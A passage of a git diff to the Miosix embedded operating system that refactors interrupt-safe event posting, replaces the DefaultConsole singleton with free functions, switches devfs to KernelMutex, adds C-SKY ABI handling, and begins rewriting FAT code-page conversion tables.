this->IRQpostImpl(event,events,NumSlots); + GlobalIrqLock dLock; + return this->IRQpostImpl(Callback(std::move(event)), + events,NumSlots); } /** @@ -347,47 +344,21 @@ class FixedEventQueue : private FixedEventQueueBase * Can be called only with interrupts disabled or within an interrupt * handler, allowing device drivers to post an event to a thread. * - * \param event function function to be called in the thread that calls - * run() or runOne(). Bind can be used to bind parameters to the function. - * Unlike with the EventQueue, the operator= of the bound parameters have - * the restriction that they need to be callable with interrupts disabled - * so they must not open files, print, ... - * - * \warning If the call is made from within an InterruptDisableLock the copy - * constructors can allocate memory, while if the call is made from an - * interrupt handler or a FastInterruptFisableLock memory allocation is - * forbidden. - * \return false if there was no space in the queue - */ - bool IRQpost(Callback event) - { - return this->IRQpostImpl(event,events,NumSlots); - } - - /** - * Post an event in the queue, or return if the queue was full. - * Can be called only with interrupts disabled or within an interrupt - * handler, allowing device drivers to post an event to a thread. - * - * \param event function function to be called in the thread that calls - * run() or runOne(). Bind can be used to bind parameters to the function. - * Unlike with the EventQueue, the operator= of the bound parameters have - * the restriction that they need to be callable with interrupts disabled - * so they must not open files, print, ... - * - * \warning If the call is made from within an InterruptDisableLock the copy - * constructors can allocate memory, while if the call is made from an - * interrupt handler or a FastInterruptFisableLock memory allocation is - * forbidden. - * \param hppw returns true if a higher priority thread was awakened as - * part of posting the event. Can be used inside an IRQ to call the - * scheduler. + * \param event The function to be invoked in the thread that calls + * run() or runOne(), in the form of a functor object. + * Bind can be used to bind parameters to the function and make a suitable + * functor. + * The type of the functor must be move-constructible, to ensure it is + * callable from inside a GlobalIrqLock without causing memory allocations. + * Additionally their move constructor must not perform things that are + * forbidden in interrupt context such as open files, print, ... * \return false if there was no space in the queue */ - bool IRQpost(Callback event, bool& hppw) + template + bool IRQpost(T&& event) { - hppw=false; - return this->IRQpostImpl(event,events,NumSlots,&hppw); + return this->IRQpostImpl(Callback(std::move(event)), + events,NumSlots); } /** diff --git a/miosix/e20/unmember.cpp b/miosix/e20/unmember.cpp index fb64f8407..ed6211fe0 100644 --- a/miosix/e20/unmember.cpp +++ b/miosix/e20/unmember.cpp @@ -59,7 +59,11 @@ tuple unmemberLogic(unsigned long mixedField, result=reinterpret_cast(mixedField); } - #elif defined(__i386) || defined(__x86_64__) + #elif defined(__i386) || defined(__x86_64__) || defined(__csky__) + //C-SKY V2 (CK803S) uses the generic (Itanium) C++ ABI pointer-to-member + //representation, with the virtual bit in the function-pointer field — like + //x86, NOT like ARM-EABI (whose vbit-in-delta is a Thumb LSB workaround). + //GCC's csky backend uses the default ptrmemfunc_vbit_in_pfn. //With multiple or virtual inheritance we need to add an offset to this. o+=thisOffset/sizeof(long); diff --git a/miosix/filesystem/console/console_device.cpp b/miosix/filesystem/console/console_device.cpp index f041be13e..169778501 100644 --- a/miosix/filesystem/console/console_device.cpp +++ b/miosix/filesystem/console/console_device.cpp @@ -80,7 +80,7 @@ ssize_t TerminalDevice::read(void *data, size_t length) if(echo && result>0) device->writeBlock(data,result,0);//Ignore write errors return result; } - Lock l(mutex); //Reads are serialized + Lock l(mutex); //Reads are serialized char *buffer=static_cast(data); size_t readBytes=0; for(;;) @@ -192,31 +192,50 @@ void TerminalDevice::echoBack(const char *chunkEnd, const char *sep, size_t sepL if(sep) device->writeBlock(sep,sepLen,0); //Ignore write errors } -// -// class DefaultConsole -// -DefaultConsole& DefaultConsole::instance() -{ - static DefaultConsole singleton; - return singleton; -} -void DefaultConsole::IRQset(intrusive_ref_ptr console) +static intrusive_ref_ptr defaultConsole; ///< The raw console device +#ifndef WITH_FILESYSTEM +static intrusive_ref_ptr defaultTerminal; ///< The wrapped console device +#endif //WITH_FILESYSTEM + +void IRQsetDefaultConsole(intrusive_ref_ptr console) { - //Note: should be safe to be called also outside of IRQ as set() calls - //IRQset() - atomic_store(&this->console,console); + atomic_store(&defaultConsole,console); #ifndef WITH_FILESYSTEM - atomic_store(&terminal, + atomic_store(&defaultTerminal, intrusive_ref_ptr(new TerminalDevice(console))); #endif //WITH_FILESYSTEM } -DefaultConsole::DefaultConsole() : console(new Device(Device::STREAM)) +intrusive_ref_ptr getDefaultConsole() +{ + intrusive_ref_ptr result=atomic_load(&defaultConsole); + if(result) return result; + // This code path is optimized for code size, but will cause repeated memory + // allocations every time it's called. However, this should never occur. + // On a board where IRQsetDefaultConsole is not set there is no console, so + // application code is expected to never write to it. + return intrusive_ref_ptr(new Device(Device::STREAM)); +} + +intrusive_ref_ptr IRQgetDefaultConsole() +{ + return defaultConsole; +} + #ifndef WITH_FILESYSTEM -, terminal(new TerminalDevice(console)) -#endif //WITH_FILESYSTEM -{} +intrusive_ref_ptr getDefaultTerminal() +{ + intrusive_ref_ptr result=atomic_load(&defaultTerminal); + if(result) return result; + // This code path is optimized for code size, but will cause repeated memory + // allocations every time it's called. However, this should never occur. + // On a board where IRQsetDefaultConsole is not set there is no console, so + // application code is expected to never write to it. + return intrusive_ref_ptr(new TerminalDevice(intrusive_ref_ptr(new Device(Device::STREAM)))); +} +#endif //WITH_FILESYSTEM + } //namespace miosix diff --git a/miosix/filesystem/console/console_device.h b/miosix/filesystem/console/console_device.h index 23f208f10..cb0998c5f 100644 --- a/miosix/filesystem/console/console_device.h +++ b/miosix/filesystem/console/console_device.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2013, 2014 by Terraneo Federico * + * Copyright (C) 2013-2026 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -25,10 +25,9 @@ * along with this program; if not, see * ***************************************************************************/ -#ifndef CONSOLE_DEVICE_H -#define CONSOLE_DEVICE_H +#pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" #include "filesystem/devfs/devfs.h" #include "kernel/sync.h" @@ -153,7 +152,7 @@ class TerminalDevice : public FileBase void echoBack(const char *chunkEnd, const char *sep=0, size_t sepLen=0); intrusive_ref_ptr device; ///< Underlying TTY device - FastMutex mutex; ///< Mutex to serialze concurrent reads + KernelMutex mutex; ///< Mutex to serialze concurrent reads const char *chunkStart; ///< First character to echo in echoBack() bool echo; ///< True if echo enabled bool binary; ///< True if binary mode enabled @@ -161,75 +160,43 @@ class TerminalDevice : public FileBase }; /** - * This class holds the file object related to the console, that is set by - * the board support package, and used to populate /dev/console in DevFs + * Called by the board support package, in particular IRQbspInit(), to pass + * to the kernel the console device. This device file is used as the default + * one for stdin/stdout/stderr. + * Notes: this has to be called in IRQbspInit(), since if it's called too + * late some code gets a /dev/null-like file. + * Cannot be called again after boot as malloc/new with interrupts disabled + * is no longer permitted in Miosix 3. Also, calling this a second time to + * dynamically change the console device is probably a bad idea, as the device + * is cached around in the filesystem code and will result in some processes + * using the old device and some other the new one. + * \param console device file handling console I/O. Can only be called with + * interrupts disabled. */ -class DefaultConsole -{ -public: - /** - * \return an instance of this class (singleton) - */ - static DefaultConsole& instance(); - - /** - * Called by the board support package, in particular IRQbspInit(), to pass - * to the kernel the console device. This device file is used as the default - * one for stdin/stdout/stderr. - * Notes: this has to be called in IRQbspInit(), since if it's called too - * late the console gets initialized with a NullFile. - * Also, calling this a second time to dynamically change the console device - * is probably a bad idea, as the device is cached around in the filesystem - * code and will result in some processes using the old device and some - * other the new one. - * \param console device file handling console I/O. Can only be called with - * interrupts disabled. - */ - void IRQset(intrusive_ref_ptr console); - - /** - * Same as IRQset(), but can be called with interrupts enabled - * \param console device file handling console I/O. Can only be called with - * interrupts disabled. - */ - void set(intrusive_ref_ptr console) { IRQset(console); } - - /** - * \return the currently installed console device, wrapped in a - * TerminalDevice - */ - intrusive_ref_ptr get() { return console; } - - /** - * \return the currently installed console device. - * Can be called with interrupts disabled or within an interrupt routine. - */ - intrusive_ref_ptr IRQget() { return console; } - - #ifndef WITH_FILESYSTEM - /** - * \return the terminal device, when filesystem support is disabled. - * If filesystem is enabled, the terminal device can be found in the - * FileDescriptorTable - */ - intrusive_ref_ptr getTerminal() { return terminal; } - #endif //WITH_FILESYSTEM - -private: - /** - * Constructor, private as it is a singleton - */ - DefaultConsole(); - - DefaultConsole(const DefaultConsole&); - DefaultConsole& operator= (const DefaultConsole&); - - intrusive_ref_ptr console; ///< The raw console device - #ifndef WITH_FILESYSTEM - intrusive_ref_ptr terminal; ///< The wrapped console device - #endif //WITH_FILESYSTEM -}; +void IRQsetDefaultConsole(intrusive_ref_ptr console); -} //namespace miosix +/** + * \return the currently installed console device, wrapped in a + * TerminalDevice. + * Returns a /dev/null-like device if no console has been set. + */ +intrusive_ref_ptr getDefaultConsole(); + +/** + * \return the currently installed console device. + * Can be called with interrupts disabled or within an interrupt routine. + * WARNING: unlike the non-IRQ version, this function returns nullptr if no + * console has been set, so check the pointer before using it. + */ +intrusive_ref_ptr IRQgetDefaultConsole(); -#endif //CONSOLE_DEVICE_H +#ifndef WITH_FILESYSTEM +/** + * \return the terminal device, when filesystem support is disabled. + * If filesystem is enabled, the terminal device can be found in the + * FileDescriptorTable + */ +intrusive_ref_ptr getDefaultTerminal(); +#endif //WITH_FILESYSTEM + +} //namespace miosix diff --git a/miosix/filesystem/devfs/devfs.cpp b/miosix/filesystem/devfs/devfs.cpp index d046a995c..58261d4db 100644 --- a/miosix/filesystem/devfs/devfs.cpp +++ b/miosix/filesystem/devfs/devfs.cpp @@ -249,14 +249,14 @@ class DevFsDirectory : public DirectoryBase * \param parentInode inode of the parent directory */ DevFsDirectory(intrusive_ref_ptr parent, - FastMutex& mutex, + KernelMutex& mutex, map >& files, int currentInode, int parentInode) : DirectoryBase(parent), mutex(mutex), files(files), currentInode(currentInode), parentInode(parentInode), first(true), last(false) { - Lock l(mutex); + Lock l(mutex); if(files.empty()==false) currentItem=files.begin()->first.c_str(); } @@ -272,7 +272,7 @@ class DevFsDirectory : public DirectoryBase virtual int getdents(void *dp, int len); private: - FastMutex& mutex; ///< Mutex of parent class + KernelMutex& mutex; ///< Mutex of parent class map >& files; ///< Directory entries string currentItem; ///< First unhandled item in directory int currentInode,parentInode; ///< Inodes of . and .. @@ -286,7 +286,7 @@ int DevFsDirectory::getdents(void *dp, int len) if(len l(mutex); + Lock l(mutex); char *begin=reinterpret_cast(dp); char *buffer=begin; char *end=buffer+len; @@ -321,7 +321,7 @@ int DevFsDirectory::getdents(void *dp, int len) // class DevFs // -DevFs::DevFs() : mutex(FastMutex::RECURSIVE), inodeCount(rootDirInode+1) +DevFs::DevFs() : mutex(MutexOptions::RECURSIVE), inodeCount(rootDirInode+1) { addDevice("null",intrusive_ref_ptr(new Device(Device::STREAM))); addDevice("zero",intrusive_ref_ptr(new Device(Device::STREAM))); @@ -332,7 +332,7 @@ bool DevFs::addDevice(const char *name, intrusive_ref_ptr dev) if(name==0 || name[0]=='\0') return false; int len=strlen(name); for(int i=0;i l(mutex); + Lock l(mutex); bool result=files.insert(make_pair(StringPart(name),dev)).second; //Assign inode to the file if(result) dev->setFileInfo(atomicAddExchange(&inodeCount,1),filesystemId); @@ -342,7 +342,7 @@ bool DevFs::addDevice(const char *name, intrusive_ref_ptr dev) bool DevFs::remove(const char* name) { if(name==0 || name[0]=='\0') return false; - Lock l(mutex); + Lock l(mutex); map >::iterator it; it=files.find(StringPart(name)); if(it==files.end()) return false; @@ -354,7 +354,7 @@ int DevFs::open(intrusive_ref_ptr& file, StringPart& name, int flags, int mode) { if(flags & (O_APPEND | O_EXCL)) return -EACCES; - Lock l(mutex); + Lock l(mutex); if(name.empty()) //Trying to open the root directory of the fs { if(flags & (O_WRONLY | O_RDWR)) return -EACCES; @@ -370,7 +370,7 @@ int DevFs::open(intrusive_ref_ptr& file, StringPart& name, int DevFs::lstat(StringPart& name, struct stat *pstat) { - Lock l(mutex); + Lock l(mutex); if(name.empty()) { fillStatHelper(pstat,rootDirInode,filesystemId,S_IFDIR | 0755);//drwxr-xr-x @@ -385,14 +385,14 @@ int DevFs::truncate(StringPart& name, off_t size) { return -EINVAL; } int DevFs::unlink(StringPart& name) { - Lock l(mutex); + Lock l(mutex); if(files.erase(name)==1) return 0; return -ENOENT; } int DevFs::rename(StringPart& oldName, StringPart& newName) { - Lock l(mutex); + Lock l(mutex); map >::iterator it=files.find(oldName); if(it==files.end()) return -ENOENT; for(unsigned int i=0;i * which is used by the kernel on console devices to write debug information * before the kernel is started or in case of serious errors, right before * rebooting. - * Can ONLY be called when the kernel is not yet started, paused or within - * an interrupt. This default implementation ignores writes. + * This default implementation ignores writes. * \param str the string to write. The string must be NUL terminated. */ virtual void IRQwrite(const char *str); @@ -269,7 +268,7 @@ class DevFs : public FilesystemBase private: - FastMutex mutex; + KernelMutex mutex; std::map > files; int inodeCount; static const int rootDirInode=1; diff --git a/miosix/filesystem/fat32/ccsbcs.cpp b/miosix/filesystem/fat32/ccsbcs.cpp index 3f9cc272d..c8b3d117c 100644 --- a/miosix/filesystem/fat32/ccsbcs.cpp +++ b/miosix/filesystem/fat32/ccsbcs.cpp @@ -1,530 +1,530 @@ -/*------------------------------------------------------------------------*/ -/* Unicode - Local code bidirectional converter (C)ChaN, 2012 */ -/* (SBCS code pages) */ -/*------------------------------------------------------------------------*/ -/* 437 U.S. (OEM) -/ 720 Arabic (OEM) -/ 1256 Arabic (Windows) -/ 737 Greek (OEM) -/ 1253 Greek (Windows) -/ 1250 Central Europe (Windows) -/ 775 Baltic (OEM) -/ 1257 Baltic (Windows) -/ 850 Multilingual Latin 1 (OEM) -/ 852 Latin 2 (OEM) -/ 1252 Latin 1 (Windows) -/ 855 Cyrillic (OEM) -/ 1251 Cyrillic (Windows) -/ 866 Russian (OEM) -/ 857 Turkish (OEM) -/ 1254 Turkish (Windows) -/ 858 Multilingual Latin 1 + Euro (OEM) -/ 862 Hebrew (OEM) -/ 1255 Hebrew (Windows) -/ 874 Thai (OEM, Windows) -/ 1258 Vietnam (OEM, Windows) -*/ - -#include "ff.h" -#include "config/miosix_settings.h" - -#ifdef WITH_FILESYSTEM - -#if _CODE_PAGE == 437 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP437(0x80-0xFF) to Unicode conversion table */ - 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, - 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x00C4, 0x00C5, - 0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, - 0x00FF, 0x00D6, 0x00DC, 0x00A2, 0x00A3, 0x00A5, 0x20A7, 0x0192, - 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, - 0x00BF, 0x2310, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, - 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, - 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, - 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, - 0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, - 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2229, - 0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, - 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 720 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP720(0x80-0xFF) to Unicode conversion table */ - 0x0000, 0x0000, 0x00E9, 0x00E2, 0x0000, 0x00E0, 0x0000, 0x00E7, - 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x0000, 0x0000, 0x0000, - 0x0000, 0x0651, 0x0652, 0x00F4, 0x00A4, 0x0640, 0x00FB, 0x00F9, - 0x0621, 0x0622, 0x0623, 0x0624, 0x00A3, 0x0625, 0x0626, 0x0627, - 0x0628, 0x0629, 0x062A, 0x062B, 0x062C, 0x062D, 0x062E, 0x062F, - 0x0630, 0x0631, 0x0632, 0x0633, 0x0634, 0x0635, 0x00AB, 0x00BB, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, - 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, - 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, - 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, - 0x0636, 0x0637, 0x0638, 0x0639, 0x063A, 0x0641, 0x00B5, 0x0642, - 0x0643, 0x0644, 0x0645, 0x0646, 0x0647, 0x0648, 0x0649, 0x064A, - 0x2261, 0x064B, 0x064C, 0x064D, 0x064E, 0x064F, 0x0650, 0x2248, - 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 737 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP737(0x80-0xFF) to Unicode conversion table */ - 0x0391, 0x0392, 0x0393, 0x0394, 0x0395, 0x0396, 0x0397, 0x0398, - 0x0399, 0x039A, 0x039B, 0x039C, 0x039D, 0x039E, 0x039F, 0x03A0, - 0x03A1, 0x03A3, 0x03A4, 0x03A5, 0x03A6, 0x03A7, 0x03A8, 0x03A9, - 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, 0x03B8, - 0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, 0x03C0, - 0x03C1, 0x03C3, 0x03C2, 0x03C4, 0x03C5, 0x03C6, 0x03C7, 0x03C8, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, - 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567, - 0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, - 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, - 0x03C9, 0x03AC, 0x03AD, 0x03AE, 0x03CA, 0x03AF, 0x03CC, 0x03CD, - 0x03CB, 0x03CE, 0x0386, 0x0388, 0x0389, 0x038A, 0x038C, 0x038E, - 0x038F, 0x00B1, 0x2265, 0x2264, 0x03AA, 0x03AB, 0x00F7, 0x2248, - 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 775 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP775(0x80-0xFF) to Unicode conversion table */ - 0x0106, 0x00FC, 0x00E9, 0x0101, 0x00E4, 0x0123, 0x00E5, 0x0107, - 0x0142, 0x0113, 0x0156, 0x0157, 0x012B, 0x0179, 0x00C4, 0x00C5, - 0x00C9, 0x00E6, 0x00C6, 0x014D, 0x00F6, 0x0122, 0x00A2, 0x015A, - 0x015B, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x00D7, 0x00A4, - 0x0100, 0x012A, 0x00F3, 0x017B, 0x017C, 0x017A, 0x201D, 0x00A6, - 0x00A9, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x0141, 0x00AB, 0x00BB, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x0104, 0x010C, 0x0118, - 0x0116, 0x2563, 0x2551, 0x2557, 0x255D, 0x012E, 0x0160, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x0172, 0x016A, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x017D, - 0x0105, 0x010D, 0x0119, 0x0117, 0x012F, 0x0161, 0x0173, 0x016B, - 0x017E, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580, - 0x00D3, 0x00DF, 0x014C, 0x0143, 0x00F5, 0x00D5, 0x00B5, 0x0144, - 0x0136, 0x0137, 0x013B, 0x013C, 0x0146, 0x0112, 0x0145, 0x2019, - 0x00AD, 0x00B1, 0x201C, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x201E, - 0x00B0, 0x2219, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 850 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP850(0x80-0xFF) to Unicode conversion table */ - 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, - 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x00C4, 0x00C5, - 0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, - 0x00FF, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x00D7, 0x0192, - 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, - 0x00BF, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x00C0, - 0x00A9, 0x2563, 0x2551, 0x2557, 0x255D, 0x00A2, 0x00A5, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x00E3, 0x00C3, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, - 0x00F0, 0x00D0, 0x00CA, 0x00CB, 0x00C8, 0x0131, 0x00CD, 0x00CE, - 0x00CF, 0x2518, 0x250C, 0x2588, 0x2584, 0x00A6, 0x00CC, 0x2580, - 0x00D3, 0x00DF, 0x00D4, 0x00D2, 0x00F5, 0x00D5, 0x00B5, 0x00FE, - 0x00DE, 0x00DA, 0x00DB, 0x00D9, 0x00FD, 0x00DD, 0x00AF, 0x00B4, - 0x00AD, 0x00B1, 0x2017, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x00B8, - 0x00B0, 0x00A8, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 852 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP852(0x80-0xFF) to Unicode conversion table */ - 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x016F, 0x0107, 0x00E7, - 0x0142, 0x00EB, 0x0150, 0x0151, 0x00EE, 0x0179, 0x00C4, 0x0106, - 0x00C9, 0x0139, 0x013A, 0x00F4, 0x00F6, 0x013D, 0x013E, 0x015A, - 0x015B, 0x00D6, 0x00DC, 0x0164, 0x0165, 0x0141, 0x00D7, 0x010D, - 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x0104, 0x0105, 0x017D, 0x017E, - 0x0118, 0x0119, 0x00AC, 0x017A, 0x010C, 0x015F, 0x00AB, 0x00BB, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x011A, - 0x015E, 0x2563, 0x2551, 0x2557, 0x255D, 0x017B, 0x017C, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x0102, 0x0103, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, - 0x0111, 0x0110, 0x010E, 0x00CB, 0x010F, 0x0147, 0x00CD, 0x00CE, - 0x011B, 0x2518, 0x250C, 0x2588, 0x2584, 0x0162, 0x016E, 0x2580, - 0x00D3, 0x00DF, 0x00D4, 0x0143, 0x0144, 0x0148, 0x0160, 0x0161, - 0x0154, 0x00DA, 0x0155, 0x0170, 0x00FD, 0x00DD, 0x0163, 0x00B4, - 0x00AD, 0x02DD, 0x02DB, 0x02C7, 0x02D8, 0x00A7, 0x00F7, 0x00B8, - 0x00B0, 0x00A8, 0x02D9, 0x0171, 0x0158, 0x0159, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 855 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP855(0x80-0xFF) to Unicode conversion table */ - 0x0452, 0x0402, 0x0453, 0x0403, 0x0451, 0x0401, 0x0454, 0x0404, - 0x0455, 0x0405, 0x0456, 0x0406, 0x0457, 0x0407, 0x0458, 0x0408, - 0x0459, 0x0409, 0x045A, 0x040A, 0x045B, 0x040B, 0x045C, 0x040C, - 0x045E, 0x040E, 0x045F, 0x040F, 0x044E, 0x042E, 0x044A, 0x042A, - 0x0430, 0x0410, 0x0431, 0x0411, 0x0446, 0x0426, 0x0434, 0x0414, - 0x0435, 0x0415, 0x0444, 0x0424, 0x0433, 0x0413, 0x00AB, 0x00BB, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x0445, 0x0425, 0x0438, - 0x0418, 0x2563, 0x2551, 0x2557, 0x255D, 0x0439, 0x0419, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x043A, 0x041A, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, - 0x043B, 0x041B, 0x043C, 0x041C, 0x043D, 0x041D, 0x043E, 0x041E, - 0x043F, 0x2518, 0x250C, 0x2588, 0x2584, 0x041F, 0x044F, 0x2580, - 0x042F, 0x0440, 0x0420, 0x0441, 0x0421, 0x0442, 0x0422, 0x0443, - 0x0423, 0x0436, 0x0416, 0x0432, 0x0412, 0x044C, 0x042C, 0x2116, - 0x00AD, 0x044B, 0x042B, 0x0437, 0x0417, 0x0448, 0x0428, 0x044D, - 0x042D, 0x0449, 0x0429, 0x0447, 0x0427, 0x00A7, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 857 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP857(0x80-0xFF) to Unicode conversion table */ - 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, - 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x0131, 0x00C4, 0x00C5, - 0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, - 0x0130, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x015E, 0x015F, - 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x011E, 0x011F, - 0x00BF, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x00C0, - 0x00A9, 0x2563, 0x2551, 0x2557, 0x255D, 0x00A2, 0x00A5, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x00E3, 0x00C3, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, - 0x00BA, 0x00AA, 0x00CA, 0x00CB, 0x00C8, 0x0000, 0x00CD, 0x00CE, - 0x00CF, 0x2518, 0x250C, 0x2588, 0x2584, 0x00A6, 0x00CC, 0x2580, - 0x00D3, 0x00DF, 0x00D4, 0x00D2, 0x00F5, 0x00D5, 0x00B5, 0x0000, - 0x00D7, 0x00DA, 0x00DB, 0x00D9, 0x00EC, 0x00FF, 0x00AF, 0x00B4, - 0x00AD, 0x00B1, 0x0000, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x00B8, - 0x00B0, 0x00A8, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0 -}; - -#elif _CODE_PAGE == 858 -#define _TBLDEF 1 -static -const WCHAR Tbl[] = { /* CP858(0x80-0xFF) to Unicode conversion table */ - 0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, - 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x00C4, 0x00C5, - 0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, - 0x00FF, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x00D7, 0x0192, - 0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, - 0x00BF, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB, - 0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x00C0, - 0x00A9, 0x2563, 0x2551, 0x2557, 0x2550, 0x00A2, 0x00A5, 0x2510, - 0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x00E3, 0x00C3, - 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4, - 0x00F0, 0x00D0, 0x00CA, 0x00CB, 0x00C8, 0x20AC, 0x00CD, 0x00CE, 